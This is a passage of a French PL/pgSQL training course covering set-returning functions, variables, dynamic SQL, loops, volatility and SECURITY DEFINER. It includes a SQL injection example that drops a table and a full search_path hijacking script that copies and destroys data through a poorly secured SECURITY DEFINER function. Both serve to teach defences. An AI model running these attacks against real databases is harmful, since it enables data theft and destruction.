relid               | 414453
schemaname          | public
relname             | table_nouvelle
…
n_mod_since_analyze | 10
n_ins_since_vacuum  | 10
last_vacuum         | 
last_autovacuum     | 
last_analyze        | 
last_autoanalyze    | 
vacuum_count        | 0
autovacuum_count    | 0
analyze_count       | 0
autoanalyze_count   | 0
-[ RECORD 2 ]-------+------------------------------
…

NB : attention de ne pas oublier le SETOF, sinon une seule ligne sera retournée.

RETURNS TABLE :

On a vu que la clause TABLE permet de renvoyer plusieurs champs. Or, elle implique aussi SETOF, et les deux exemples ci-dessus peuvent devenir :

CREATE OR REPLACE FUNCTION liste_entiers_table (limite int)
RETURNS TABLE (j int)
AS $$
BEGIN
  FOR i IN 1..limite LOOP
    j = i ;
    RETURN NEXT ;  -- renvoie la valeur de j en cours
  END LOOP;
END $$ LANGUAGE plpgsql;

SELECT * FROM liste_entiers_table (3) ;
 j
---
 1
 2
 3

(Noter ici que le nom du champ retourné dépend du nom de la variable utilisée, et n’est pas forcément le nom de la fonction. En effet, chaque appel à RETURN NEXT retourne un enregistrement composé d’une copie de toutes les variables, au moment de l’appel à RETURN NEXT.)

DROP FUNCTION tables_by_owner ;
CREATE FUNCTION tables_by_owner (p_owner text)
RETURNS TABLE (schemaname text, tablename text)
LANGUAGE plpgsql
AS $$
BEGIN
  RETURN QUERY SELECT t.schemaname::text, t.tablename::text
               FROM pg_tables t WHERE tableowner=p_owner
               ORDER BY t.tablename ;
END $$ ;

Si RETURNS TABLE est peut-être le plus souple et le plus clair, le choix entre toutes ces méthodes est affaire de goût, ou de compatibilité avec du code ancien ou converti d’un produit concurrent.

Renvoyer le résultat d’une requête :

Les exemples ci-dessus utilisent RETURN NEXT (pour du ligne à ligne) ou RETURN QUERY (pour envoyer directement le résultat d’une requête).

La variante RETURN QUERY EXECUTE … est destinée à des requêtes en SQL dynamique (voir plus loin).

Appel de fonction :

En général, l’appel se fait ainsi pour obtenir des lignes :

SELECT * FROM ma_fonction();

Une alternative est d’utiliser :

SELECT ma_fonction();

pour récupérer un résultat d’une seule colonne, scalaire, type composite ou RECORD suivant la fonction.

Cette différence concerne aussi les fonctions système :

SELECT * FROM pg_control_system () ;

 pg_control_version | catalog_version_no |  system_identifier  | pg_control_…
--------------------+--------------------+---------------------+-------------
               1201 |          201909212 | 6744959735975969621 | 2021-09-17 …
(1 ligne)

SELECT pg_control_system () ;

                       pg_control_system
---------------------------------------------------------------
 (1201,201909212,6744959735975969621,"2021-09-17 18:24:05+02")
 (1 ligne)

Si une fonction est définie comme STRICT et qu’un des arguments d’entrée est NULL, PostgreSQL n’exécute même pas la fonction et utilise NULL comme résultat.

Dans la logique relationnelle, NULL signifie « la valeur est inconnue ». La plupart du temps, il est logique qu’une fonction ayant un paramètre à une valeur inconnue retourne aussi une valeur inconnue, ce qui fait que cette optimisation est très souvent pertinente.

On gagne à la fois en temps d’exécution, mais aussi en simplicité du code (il n’y a pas à gérer les cas NULL pour une fonction dans laquelle NULL ne doit jamais être injecté).

Dans la définition d’une fonction, les options sont STRICT ou son synonyme RETURNS NULL ON NULL INPUT, ou le défaut implicite CALLED ON NULL INPUT.

En PL/pgSQL, pour utiliser une variable dans le corps de la routine (entre le BEGIN et le END), il est obligatoire de l’avoir déclarée précédemment :

• soit dans la liste des arguments (IN, INOUT ou OUT) ;
• soit dans la section DECLARE.

La déclaration doit impérativement préciser le nom et le type de la variable.

En option, il est également possible de préciser :

• sa valeur initiale (si rien n’est précisé, ce sera NULL par défaut) :

  answer integer := 42;

• sa valeur par défaut, si on veut autre chose que NULL :

  answer integer DEFAULT 42;

• une contrainte NOT NULL (dans ce cas, il faut impérativement un défaut différent de NULL, et toute éventuelle affectation ultérieure de NULL à la variable provoquera une erreur) :

  answer integer NOT NULL DEFAULT 42;

• le collationnement à utiliser, pour les variables de type chaîne de caractères :

  question text COLLATE "en_GB";

Pour les fonctions complexes, avec plusieurs niveaux de boucle par exemple, il est possible d’imbriquer les blocs DECLARE/BEGIN/END en y déclarant des variables locales à ce bloc. Si une variable est par erreur utilisée hors du scope prévu, une erreur surviendra.

L’option CONSTANT permet de définir une variable pour laquelle il sera alors impossible d’assigner une valeur dans le reste de la routine.

Cela permet d’écrire des routines plus génériques.

L’utilisation de %ROWTYPE permet de définir une variable qui contient la structure d’un enregistrement de la table spécifiée. %ROWTYPE n’est pas obligatoire, il est néanmoins préférable d’utiliser cette forme, bien plus portable. En effet, dans PostgreSQL, toute création de table crée un type associé de même nom, le seul nom de la table est donc suffisant.

RECORD est beaucoup utilisé pour manipuler des curseurs, ou dans des boucles FOR … LOOP : cela évite de devoir se préoccuper de déclarer un type correspondant exactement aux colonnes de la requête associée à chaque curseur.

Dans ces exemples, on récupère la première ligne de la fonction avec SELECT … INTO, puis on ouvre un curseur implicite pour balayer chaque ligne obtenue d’une deuxième table. Le type RECORD permet de ne pas déclarer une nouvelle variable de type ligne.

Par expression, on entend par exemple des choses comme :

IF myvar > 0 THEN
    myvar2 := 1 / myvar;
END IF;

Dans ce cas, l’expression myvar > 0 sera préparée par le moteur de la façon suivante :

PREPARE statement_name(integer, integer) AS SELECT $1 > $2;

Puis cette requête préparée sera exécutée en lui passant en paramètre la valeur de myvar et la constante 0.

Si myvar est supérieur à 0, il en sera ensuite de même pour l’instruction suivante :

PREPARE statement_name(integer, integer) AS SELECT $1 / $2;

Comme toute requête préparée, son plan sera mis en cache.

Pour les détails, voir les dessous de PL/pgSQL.

Privilégiez la première écriture pour la lisibilité, la seconde écriture est moins claire et n’apporte rien puisqu’il s’agit ici d’une affectation de constante.

À noter que l’écriture suivante est également possible pour une affectation :

  ma_variable := une_colonne FROM ma_table WHERE id = 5;

Cette méthode profite du fait que toutes les expressions du code PL/pgSQL vont être passées au moteur SQL de PostgreSQL dans un SELECT pour être résolues. Cela va fonctionner, mais c’est très peu lisible, et donc non recommandé.

Récupérer une ligne de résultat d’une requête dans une ligne de type ROW ou RECORD se fait avec SELECT … INTO. La première ligne est récupérée. Généralement on préférera utiliser INTO STRICT pour lever une de ces erreurs si la requête renvoie zéro ou plusieurs lignes :

ERROR:  query returned no rows
ERROR:  query returned more than one row

Dans le cas du type ROW, la définition de la ligne doit correspondre parfaitement à la définition de la ligne renvoyée. Utiliser un type RECORD permet d’éviter ce type de problème. La variable obtient directement le type ROW de la ligne renvoyée.

Il est possible d’utiliser SELECT INTO avec une simple variable si l’on n’a qu’un champ d’une ligne à récupérer.

Cette fonction compte les tables, et en trace la liste (les tables ne font pas partie du résultat) :

CREATE OR REPLACE FUNCTION compte_tables () RETURNS int LANGUAGE plpgsql AS $$
DECLARE
  n int ;
  t RECORD ;
BEGIN
  SELECT count(*) INTO STRICT n
  FROM pg_tables ;

  FOR t IN SELECT * FROM pg_tables LOOP
    RAISE NOTICE 'Table %.%', t.schemaname, t.tablename;
  END LOOP ;

  RETURN n ;
END ;
$$ ;

# SELECT compte_tables ();

NOTICE:  Table pg_catalog.pg_foreign_server
NOTICE:  Table pg_catalog.pg_type
…
NOTICE:  Table public.pgbench_accounts
NOTICE:  Table public.pgbench_branches
NOTICE:  Table public.pgbench_tellers
NOTICE:  Table public.pgbench_history
 compte_tables
---------------
           186
(1 ligne)

On peut déterminer qu’aucune ligne n’a été trouvée par la requête en utilisant la variable FOUND :

PERFORM * FROM ma_table WHERE une_colonne>0;
IF NOT FOUND THEN
…
END IF;

Pour appeler une fonction, il suffit d’utiliser PERFORM de la manière suivante :

PERFORM mafonction(argument1);

Pour récupérer le nombre de lignes affectées par l’instruction exécutée, il faut récupérer la variable de diagnostic ROW_COUNT :

GET DIAGNOSTICS variable = ROW_COUNT;

Il est à noter que le ROW_COUNT récupéré ainsi s’applique à l’ordre SQL précédent, quel qu’il soit :

• PERFORM ;
• EXECUTE ;
• ou même à un ordre statique directement dans le code PL/pgSQL.

EXECUTE dans un bloc PL/pgSQL permet notamment du SQL dynamique : l’ordre peut être construit dans une variable.

Un danger du SQL dynamique est de faire aveuglément confiance aux valeurs des variables en construisant un ordre SQL :

CREATE TEMP TABLE eleves (nom text, id int) ;
INSERT INTO eleves VALUES ('Robert', 0) ;

-- Mise à jour d'un ID
DO $f$
DECLARE
    nom text := $$'Robert' ; DROP TABLE eleves;$$  ;
    id  int ;
BEGIN
RAISE NOTICE 'A exécuter : %','SELECT * FROM eleves WHERE nom = '|| nom ;
EXECUTE 'UPDATE eleves SET id = 327 WHERE nom = '|| nom ;
END ;
$f$ LANGUAGE plpgsql ;

NOTICE:  A exécuter : SELECT * FROM eleves WHERE nom = 'Robert' ; DROP TABLE eleves;

\d+ eleves
Aucune relation nommée « eleves » n'a été trouvée.

Cet exemple est directement inspiré d’un dessin très connu de XKCD.

Moins grave, une erreur peut être levée à cause d’une apostrophe (quote) dans une chaîne texte. Il existe effectivement des gens avec une apostrophe dans le nom.

Ce qui suit concerne le SQL dynamique dans des routines PL/pgSQL, mais le principe concerne tous les langages et clients, y compris psql et sa méta-commande \gexec. En SQL pur, la protection contre les injections SQL est un argument pour utiliser les requêtes préparées, dont l’ordre EXECUTE diffère de celui-ci du PL/pgSQL ci-dessous.

Les trois exemples précédents sont équivalents.

Le premier est le plus simple au premier abord. Il utilise quote_ident et quote_literal pour protéger des injections SQL (voir plus loin).

Le second est plus lisible grâce à la fonction de formatage format qui évite ces concaténations et appelle implicitement les fonctions quote_% Si un paramètre ne peut pas prendre la valeur NULL, utiliser %L (équivalent de quote_nullable) et non %I (équivalent de quote_ident).

La troisième alternative avec USING et les paramètres numériques $1 et $2 est considérée comme la plus performante. (Voir les détails dans la documentation).

L’exemple complet suivant tiré de la documentation officielle utilise EXECUTE pour rafraîchir des vues matérialisées en masse.

CREATE FUNCTION rafraichir_vuemat() RETURNS integer AS $$
DECLARE
    mviews RECORD;
BEGIN
    RAISE NOTICE 'Rafraîchissement de toutes les vues matérialisées…';

    FOR mviews IN
       SELECT n.nspname AS mv_schema,
              c.relname AS mv_name,
              pg_catalog.pg_get_userbyid(c.relowner) AS owner
         FROM pg_catalog.pg_class c
    LEFT JOIN pg_catalog.pg_namespace n ON (n.oid = c.relnamespace)
        WHERE c.relkind = 'm'
     ORDER BY 1
    LOOP
        -- Maintenant "mviews" contient un enregistrement
        -- avec les informations sur la vue matérialisé
        RAISE NOTICE 'Rafraichissement de la vue matérialisée %.% (owner: %)…',
                     quote_ident(mviews.mv_schema),
                     quote_ident(mviews.mv_name),
                     quote_ident(mviews.owner);
        EXECUTE format('REFRESH MATERIALIZED VIEW %I.%I',
                       mviews.mv_schema, mviews.mv_name) ;
    END LOOP;

    RAISE NOTICE 'Fin du rafraîchissement';
    RETURN 1;
END;
$$ LANGUAGE plpgsql;

De la même manière que pour SELECT … INTO, utiliser STRICT permet de garantir qu’il y a exactement une valeur comme résultat de EXECUTE, ou alors une erreur sera levée.

Nous verrons plus loin comment traiter les exceptions.

La fonction format est l’équivalent de la fonction sprintf en C : elle formate une chaîne en fonction d’un patron et de valeurs à appliquer à ses paramètres et la retourne. Les types de paramètre reconnus par format sont :

• %I : est remplacé par un identifiant d’objet. C’est l’équivalent de la fonction quote_ident. L’objet en question est entouré de guillemets doubles si nécessaire ;
• %L : est remplacé par une valeur littérale. C’est l’équivalent de la fonction quote_literal. Des guillemets simples sont ajoutés à la valeur et celle-ci est correctement échappée si nécessaire ;
• %s : est remplacé par la valeur donnée sans autre forme de transformation ;
• %% : est remplacé par un simple %.

Voici un exemple d’utilisation de cette fonction, utilisant des paramètres positionnels :

SELECT format(
    'SELECT %I FROM %I WHERE %1$I=%3$L',
    'MaColonne',
    'ma_table',
    $$l'été$$
);

                           format
-------------------------------------------------------------
 SELECT "MaColonne" FROM ma_table WHERE "MaColonne"='l''été'

L’instruction CASE WHEN est proche de l’expression CASE des requêtes SQL dans son principe (à part qu’elle se clôt par END en SQL, et END CASE en PL/pgSQL).

Elle est parfois plus légère à lire que des IF imbriqués.

Exemple complet :

DO $$
BEGIN
CASE current_setting ('server_version_num')::int/10000
    WHEN 8,9,10,11      THEN RAISE NOTICE 'Version non supportée !!' ;
    WHEN 12,13,14,15,16 THEN RAISE NOTICE 'Version supportée' ;
    ELSE                RAISE NOTICE 'Version inconnue (fin 2023)' ;
END CASE ;
END ;
$$ LANGUAGE plpgsql ;

Des boucles simples s’effectuent avec LOOP/END LOOP.

Pour les détails, voir la documentation officielle.

Cette boucle incrémente le résultat de 1 à chaque itération tant que la valeur du résultat est inférieure à 50. Ensuite, le résultat est incrémenté de 1 à deux reprises pour chaque tour de boucle. On incrémente donc de 2 par tour de boucle. Arrivée à 100, la procédure sort de la boucle.

La boucle FOR n’a pas d’originalité par rapport à d’autres langages.

L’option BY permet d’augmenter l’incrémentation :

    FOR variable in 1..10 BY 5…

L’option REVERSE permet de faire défiler les valeurs en ordre inverse :

    FOR variable in REVERSE 10..1 …

Cette syntaxe très pratique permet de parcourir les lignes résultant d’une requête sans avoir besoin de créer et parcourir un curseur. Souvent on utilisera une variable de type ROW ou RECORD (comme dans l’exemple de la fonction rafraichir_vuemat plus haut), mais l’utilisation directe de variables (déclarées préalablement) est possible :

FOR a, b, c, d IN
  (SELECT col_a, col_b, col_c, col_d FROM ma_table)
LOOP
  -- instructions utilisant ces variables
  …
END LOOP;

Attention de ne pas utiliser les variables en question hors de la boucle, elles auront gardé la valeur acquise dans la dernière itération.

Voici deux exemples permettant d’illustrer l’utilité de SLICE :

• sans SLICE :

DO $$
DECLARE a int[] := ARRAY[[1,2],[3,4],[5,6]];
        b int;
BEGIN
  FOREACH b IN ARRAY a LOOP
  RAISE INFO 'var: %', b;
END LOOP;
END $$ ;

INFO:  var: 1
INFO:  var: 2
INFO:  var: 3
INFO:  var: 4
INFO:  var: 5
INFO:  var: 6

• avec SLICE :

DO $$
DECLARE a int[] := ARRAY[[1,2],[3,4],[5,6]];
        b int[];
BEGIN
  FOREACH b SLICE 1 IN ARRAY a LOOP
  RAISE INFO 'var: %', b;
END LOOP;
END $$;

INFO:  var: {1,2}
INFO:  var: {3,4}
INFO:  var: {5,6}

et avec SLICE 2, on obtient :

INFO:  var: {{1,2},{3,4},{5,6}}

Une fonction SECURITY INVOKER s’exécute avec les droits de l’appelant. C’est le mode par défaut.

Une fonction SECURITY DEFINER s’exécute avec les droits du créateur. Cela permet, au travers d’une fonction, de permettre à un utilisateur d’outrepasser ses droits de façon contrôlée. C’est l’équivalent du sudo d’Unix.

Exemple d’une fonction en SECURITY DEFINER avec un search path sécurisé :

\c pgbench pgbench

-- A exécuter en tant que pgbench, propriétaire de la base pgbench
CREATE SCHEMA pgbench_util ;

CREATE OR REPLACE FUNCTION pgbench_util.accounts_balance (pbid integer)
 RETURNS integer
 LANGUAGE sql
 IMMUTABLE PARALLEL SAFE
 SECURITY DEFINER 
 SET search_path TO ''   -- précaution supplémentaire
AS $function$
  SELECT bbalance FROM public.pgbench_branches br WHERE br.bid = pbid ;
$function$ ;

GRANT USAGE ON SCHEMA pgbench_util TO lecteur ;
GRANT EXECUTE ON FUNCTION pgbench_util.accounts_balance TO lecteur ;

L’utilisateur lecteur peut bien lire le résultat de la fonction sans accès à la table :

\c pgbench lecteur

SELECT pgbench_util.accounts_balance (5) ;

 accounts_balance 
------------------
                0

Exemple de fonction laxiste et d’attaque :

-- Exemple sur une base pgbench, appartenant à pgbench
-- créée par exemple ainsi :
-- createdb pgbench -O pgbench
-- pgbench -U pgbench -i -s 1  pgbench
-- Deux utilisateurs :
--   pgbench
--   attaquant qui a son propre schéma

\set timing off
\set ECHO all
\set ON_ERROR_STOP 1

\c pgbench pgbench

-- Fonction non sécurisée fournie par l'utilisateur pgbench
-- à tout le monde par public
CREATE OR REPLACE FUNCTION public.accounts_balance_insecure(pbid integer)
 RETURNS integer
 LANGUAGE plpgsql
 IMMUTABLE PARALLEL SAFE
 SECURITY DEFINER
 -- oublié : SET search_path TO ''   
AS $function$ BEGIN
  RETURN bbalance FROM /* pas de schéma */ pgbench_branches br
                  WHERE br.bid = pbid ;
END $function$ ;

-- Droits trop ouverts
GRANT EXECUTE ON FUNCTION accounts_balance_insecure TO public ;

-- Résultat normal : renvoie 0
SELECT * FROM accounts_balance_insecure (1) ;

-- Création d'un utilisateur avec droit d'écrire dans un schéma
\c pgbench postgres

DROP SCHEMA IF EXISTS piege CASCADE ;
--DROP ROLE attaquant ;

CREATE ROLE attaquant LOGIN ;   -- pg_hba.conf laissé en exercice au lecteur

-- Il faut que l'attaquant ait un schéma où écrire,
-- et puisse donner l'accès à la victime.
-- Le schéma public convient parfaitement pour cela avant PostgreSQL 15…
CREATE SCHEMA piege ;
GRANT ALL ON SCHEMA piege TO attaquant WITH GRANT OPTION ;

\c pgbench attaquant

\conninfo

-- Résultat normal (accès peut-être indu mais pour le moment sans danger)
SELECT * FROM accounts_balance_insecure (1) ;

-- L'attaquant peut voir la fonction et étudier comment la détourner
\sf accounts_balance_insecure

-- Fonction que l'attaquant veut faire exécuter à pgbench
CREATE FUNCTION piege.lit_donnees_cachees ()
RETURNS TABLE (bid int, bbalance int)
LANGUAGE plpgsql
AS $$
DECLARE
    n int ;
BEGIN
    -- affichage de l'utilisateur pgbench
    RAISE NOTICE 'Entrée dans fonction piégée en tant que %', current_user ;
    -- copie de données non autorisées dans le schéma de l'attaquant
    CREATE TABLE piege.donnees_piratees AS SELECT * FROM pgbench_tellers ;
    GRANT ALL ON piege.donnees_piratees TO attaquant ;
    -- destruction de données…
    DROP TABLE IF EXISTS pgbench_history ;
    -- sortie propre impérative pour éviter le rollback
    RETURN QUERY SELECT 666 AS bid, 42 AS bbalance ;
END ;
$$ ;

-- Vue d'enrobage pour « masquer » la vraie table de même nom
CREATE OR REPLACE VIEW piege.pgbench_branches AS
SELECT * FROM piege.lit_donnees_cachees () ;

-- Donner les droits au compte attaqué sur les objets
-- de l'attaquant
GRANT USAGE,CREATE ON SCHEMA piege TO pgbench ;
GRANT ALL ON piege.pgbench_branches TO pgbench ;
GRANT ALL ON FUNCTION piege.lit_donnees_cachees TO pgbench ;

-- Détournement du chemin d'accès
SET search_path TO piege,public ;
-- Attaque
SELECT * FROM accounts_balance_insecure (666) ;

-- Lecture des données piratées
SELECT COUNT (*) as nb_lignes_recuperees FROM piege.donnees_piratees ;

COST est un coût représenté en unité de cpu_operator_cost (100 par défaut).

ROWS vaut par défaut 1000 pour les fonctions SETOF ou TABLE, et 1 pour les autres.

Ces deux paramètres ne modifient pas le comportement de la fonction. Ils ne servent que pour aider l’optimiseur de requête à estimer le coût d’appel à la fonction, afin de savoir, si plusieurs plans sont possibles, lequel est le moins coûteux par rapport au nombre d’appels de la fonction et au nombre d’enregistrements qu’elle retourne.

PARALLEL UNSAFE indique que la fonction ne peut pas être exécutée dans le mode parallèle. La présence d’une fonction de ce type dans une requête SQL force un plan d’exécution en série. C’est la valeur par défaut.

Une fonction est non parallélisable si elle modifie l’état d’une base ou si elle fait des changements sur la transaction.

PARALLEL RESTRICTED indique que la fonction peut être exécutée en mode parallèle mais l’exécution est restreinte au processus principal d’exécution.

Une fonction peut être déclarée comme restreinte si elle accède aux tables temporaires, à l’état de connexion des clients, aux curseurs, aux requêtes préparées.

PARALLEL SAFE indique que la fonction s’exécute correctement dans le mode parallèle sans restriction.

En général, si une fonction est marquée sûre ou restreinte à la parallélisation alors qu’elle ne l’est pas, elle pourrait renvoyer des erreurs ou fournir de mauvaises réponses lorsqu’elle est utilisée dans une requête parallèle.

En cas de doute, les fonctions doivent être marquées comme UNSAFE, ce qui correspond à la valeur par défaut.

On peut indiquer à PostgreSQL le niveau de volatilité (ou de stabilité) d’une fonction. Ceci permet d’aider PostgreSQL à optimiser les requêtes utilisant ces fonctions, mais aussi d’interdire leur utilisation dans certains contextes.

Une fonction est « immutable » si son exécution ne dépend que de ses paramètres. Elle ne doit donc dépendre ni du contenu de la base (pas de SELECT, ni de modification de donnée de quelque sorte), ni d’aucun autre élément qui ne soit pas un de ses paramètres. Les fonctions arithmétiques simples (+, *, abs…) sont immutables.

À l’inverse, now() n’est évidemment pas immutable. Une fonction sélectionnant des données d’une table non plus. to_char() n’est pas non plus immutable, car son comportement dépend des paramètres de session, par exemple to_char(timestamp with time zone, text) dépend du paramètre de session timezone…

Une fonction est « stable » si son exécution donne toujours le même résultat sur toute la durée d’un ordre SQL, pour les mêmes paramètres en entrée. Cela signifie que la fonction ne modifie pas les données de la base. Une fonction n’exécutant que des SELECT sur des tables (pas des fonctions !) sera stable. to_char() est stable. L’optimiseur peut réduire ainsi le nombre d’appels sans que ce soit en pratique toujours le cas.

Une fonction est « volatile » dans tous les autres cas. random() est volatile. Une fonction volatile peut même modifier les donneés. Une fonction non déclarée comme stable ou immutable est volatile par défaut.

La volatilité des fonctions intégrées à PostgreSQL est déjà définie. C’est au développeur de préciser la volatilité des fonctions qu’il écrit. Ce n’est pas forcément évident. Une erreur peut poser des problèmes quand le plan est mis en cache, ou, on le verra, dans des index.

Quelle importance cela a-t-il ?

Prenons une table d’exemple sur les heures de l’année 2020 :

-- Une ligne par heure dans l année, 8784 lignes
CREATE TABLE heures
AS
SELECT i, '2020-01-01 00:00:00+01:00'::timestamptz + i * interval '1 hour'  AS t
FROM generate_series (1,366*24) i;

Définissons une fonction un peu naïve ramenant le premier jour du mois, volatile faute de mieux :

CREATE OR REPLACE FUNCTION premierjourdumois(t timestamptz)
RETURNS timestamptz
LANGUAGE plpgsql
VOLATILE
AS $$
BEGIN
    RAISE notice 'appel premierjourdumois' ; -- trace des appels
    RETURN date_trunc ('month', t);
END $$ ;

Demandons juste le plan d’un appel ne portant que sur le dernier jour :

EXPLAIN SELECT * FROM heures
WHERE t > premierjourdumois('2020-12-31 00:00:00+02:00'::timestamptz)
LIMIT 10 ;

                                   QUERY PLAN
-------------------------------------------------------------------------
Limit  (cost=0.00..8.04 rows=10 width=12)
 ->  Seq Scan on heures  (cost=0.00..2353.80 rows=2928 width=12)
       Filter: (t > premierjourdumois(
                   '2020-12-30 23:00:00+01'::timestamp with time zone))

Le nombre de lignes attendues (2928) est le tiers de la table, alors que nous ne demandons que le dernier mois. Il s’agit de l’estimation forfaitaire que PostgreSQL utilise faute d’informations sur ce que va retourner la fonction.

Demander à voir le résultat mène à l’affichage de milliers de NOTICE : la fonction est appelée à chaque ligne pour calculer s’il faut filtrer la valeur. En effet, une fonction volatile sera systématiquement exécutée à chaque appel, et, selon le plan, ce peut être pour chaque ligne parcourue !

Cependant notre fonction ne fait que des calculs à partir du paramètre, sans effet de bord. Déclarons-la donc stable :

ALTER FUNCTION premierjourdumois(timestamp with time zone) STABLE ;

Une fonction stable peut en théorie être remplacée par son résultat pendant l’exécution de la requête. Mais c’est impossible de le faire plus tôt, car on ne sait pas forcément dans quel contexte la fonction va être appelée (par exemple, en cas de requête préparée, les paramètres de la session ou les données de la base peuvent même changer entre la planification et l’exécution).

Dans notre cas, le même EXPLAIN simple mène à ceci :

NOTICE:  appel premierjourdumois
                                   QUERY PLAN
-------------------------------------------------------------------------
Limit  (cost=0.00..32.60 rows=10 width=12)
 ->  Seq Scan on heures  (cost=0.00..2347.50 rows=720 width=12)
       Filter: (t > premierjourdumois(
                    '2020-12-30 23:00:00+01'::timestamp with time zone))

Comme il s’agit d’un simple EXPLAIN, la requête n’est pas exécutée. Or le message NOTICE est renvoyé : la fonction est donc exécutée pour une simple planification. Un appel unique suffit, puisque la valeur d’une fonction stable ne change pas pendant toute la durée de la requête pour les mêmes paramètres (ici une constante). Cet appel permet d’affiner la volumétrie des valeurs attendues, ce qui peut avoir un impact énorme.

Cependant, à l’exécution, les NOTICE apparaîtront pour indiquer que la fonction est à nouveau appelée à chaque ligne. Pour qu’un seul appel soit effectué pour toute la requête, il faudrait déclarer la fonction comme immutable, ce qui serait faux, puisqu’elle dépend implicitement du fuseau horaire.

Dans l’idéal, une fonction immutable peut être remplacée par son résultat avant même la planification d’une requête l’utilisant. C’est le cas avec les calculs arithmétiques par exemple :

EXPLAIN SELECT * FROM heures
WHERE i > abs(364*24) AND t > '2020-06-01'::date + interval '57 hours' ;

La valeur est substituée très tôt, ce qui permet de les comparer aux statistiques :

Seq Scan on heures  (cost=0.00..179.40 rows=13 width=12)
  Filter: ((i > 8736) AND (t > '2020-06-03 09:00:00'::timestamp without time zone))

Pour forcer un appel unique quand on sait que la fonction renverra une constante, du moins le temps de la requête, même si elle est volatile, une astuce est de signifier à l’optimiseur qu’il n’y aura qu’une seule valeur de comparaison, même si on ne sait pas laquelle :

EXPLAIN (ANALYZE) SELECT * FROM heures
WHERE t > (SELECT premierjourdumois('2020-12-31 00:00:00+02:00'::timestamptz)) ;

NOTICE:  appel premierjourdumois
                                   QUERY PLAN
--------------------------------------------------------------------------------
 Seq Scan on heures  (cost=0.26..157.76 rows=2920 width=12)
                     (actual time=1.090..1.206 rows=721 loops=1)
   Filter: (t > $0)
   Rows Removed by Filter: 8039
   InitPlan 1 (returns $0)
     ->  Result  (cost=0.00..0.26 rows=1 width=8)
                 (actual time=0.138..0.139 rows=1 loops=1)
 Planning Time: 0.058 ms
 Execution Time: 1.328 ms

On note qu’il n’y a qu’un appel. On comprend donc l’intérêt de se poser la question à l’écriture de chaque fonction.

La volatilité est encore plus importante quand il s’agit de créer des fonctions sur index :

CREATE INDEX ON heures (premierjourdumois( t )) ;

ERROR:  functions in index expression must be marked IMMUTABLE

Ceci n’est possible que si la fonction est immutable. En effet, si le résultat de la fonction dépend de l’état de la base ou d’autres paramètres, la fonction exécutée au moment de la création de la clé d’index pourrait ne plus retourner le même résultat quand viendra le moment de l’interroger. PostgreSQL n’acceptera donc que les fonctions immutables dans la déclaration des index fonctionnels.

Cela est particulièrement fréquent quand les fuseaux horaires ou les dictionnaires sont impliqués. Vérifiez bien que vous n’utilisez que des fonctions immutables dans les index fonctionnels, les pièges sont nombreux.

Par exemple, si l’on veut une version immutable de la fonction précédente, il faut fixer le fuseau horaire dans l’appel à date_trunc. En effet, on peut voir avec df+ date_trunc que la seule version immutable de date_trunc n’accepte que des timestamp (sans fuseau), et en renvoie un. Notre fonction devient donc :

CREATE OR REPLACE FUNCTION premierjourdumois_utc(t timestamptz)
RETURNS timestamptz
LANGUAGE plpgsql
IMMUTABLE
AS $$
DECLARE
    jour1   timestamp ; --sans TZ
BEGIN
    jour1 := date_trunc ('month', (t at time zone 'UTC')::timestamp) ;
    RETURN jour1 AT TIME ZONE 'UTC';
END $$ ;

Testons avec une date dans les dernières heures de septembre en Alaska, qui correspond au tout début d’octobre en temps universel, et par exemple aussi au Japon :

\x

SET timezone TO 'US/Alaska';

SELECT d,
       d AT TIME ZONE 'UTC' AS d_en_utc,
       premierjourdumois_utc (d),
       premierjourdumois_utc (d) AT TIME ZONE 'UTC' as pjm_en_utc
FROM (SELECT '2020-09-30 18:00:00-08'::timestamptz AS d) x;

-[ RECORD 1 ]---------+-----------------------
d                     | 2020-09-30 18:00:00-08
d_en_utc              | 2020-10-01 02:00:00
premierjourdumois_utc | 2020-09-30 16:00:00-08
pjm_en_utc            | 2020-10-01 00:00:00

SET timezone TO 'Japan';

SELECT d,
       d AT TIME ZONE 'UTC' AS d_en_utc,
       premierjourdumois_utc (d),
       premierjourdumois_utc (d) AT TIME ZONE 'UTC' as pjm_en_utc
FROM (SELECT '2020-09-30 18:00:00-08'::timestamptz AS d) x;

-[ RECORD 1 ]---------+-----------------------
d                     | 2020-10-01 11:00:00+09
d_en_utc              | 2020-10-01 02:00:00
premierjourdumois_utc | 2020-10-01 09:00:00+09
pjm_en_utc            | 2020-10-01 00:00:00

Malgré les différences d’affichage dues au fuseau horaire, c’est bien le même moment (la première seconde d’octobre en temps universel) qui est retourné par la fonction.

Pour une fonction aussi simple, la version SQL est même préférable :

CREATE OR REPLACE FUNCTION premierjourdumois_utc(t timestamptz)
RETURNS timestamptz
LANGUAGE sql
IMMUTABLE
AS $$
    SELECT (date_trunc ('month',
                        (t at time zone 'UTC')::timestamp
                       )
           ) AT TIME ZONE 'UTC';
$$ ;

Enfin, la volatilité a également son importance lors d’autres opérations d’optimisation, comme l’exclusion de partitions. Seules les fonctions immutables sont compatibles avec le partition pruning effectué à la planification, mais les fonctions stable sont éligibles au dynamic partition pruning (à l’exécution) apparu avec PostgreSQL 11.

La documentation officielle sur le langage PL/pgSQL peut être consultée en français à cette adresse.

L’exercice sur les index fonctionnels utilise la base magasin. La base magasin (dump de 96 Mo, pour 667 Mo sur le disque au final) peut être téléchargée et restaurée comme suit dans une nouvelle base magasin :

createdb magasin
curl -kL https://dali.bo/tp_magasin -o /tmp/magasin.dump
pg_restore -d magasin  /tmp/magasin.dump
# le message sur public préexistant est normal
rm -- /tmp/magasin.dump

Toutes les données sont dans deux schémas nommés magasin et facturation.

Écrire une fonction hello() qui renvoie la chaîne de caractère « Hello World! » en SQL.

Écrire une fonction hello_pl() qui renvoie la chaîne de caractère « Hello World! » en PL/pgSQL.

Comparer les coûts des deux plans d’exécutions de ces requêtes. Expliquer ces coûts.

Écrire en PL/pgSQL une fonction de division appelée division. Elle acceptera en entrée deux arguments de type entier et renverra un nombre réel (numeric).

Écrire cette même fonction en SQL.

Comment corriger le problème de la division par zéro ? Écrire cette nouvelle fonction dans les deux langages. (Conseil : dans ce genre de calcul impossible, il est possible d’utiliser la constante NaN (Not A Number) ).

Ce TP utilise les tables de la base employes_services. Le script de création se télécharge et s’installe ainsi dans une nouvelle base employes :

curl -kL https://dali.bo/tp_employes_services -o employes_services.sql
createdb employes
psql employes < employes_services.sql

Les quelques tables occupent environ 80 Mo sur le disque.

Créer une fonction qui ramène le nombre d’employés embauchés une année donnée (à partir du champ employes.date_embauche).

Utiliser la fonction generate_series() pour lister le nombre d’embauches pour chaque année entre 2000 et 2010.

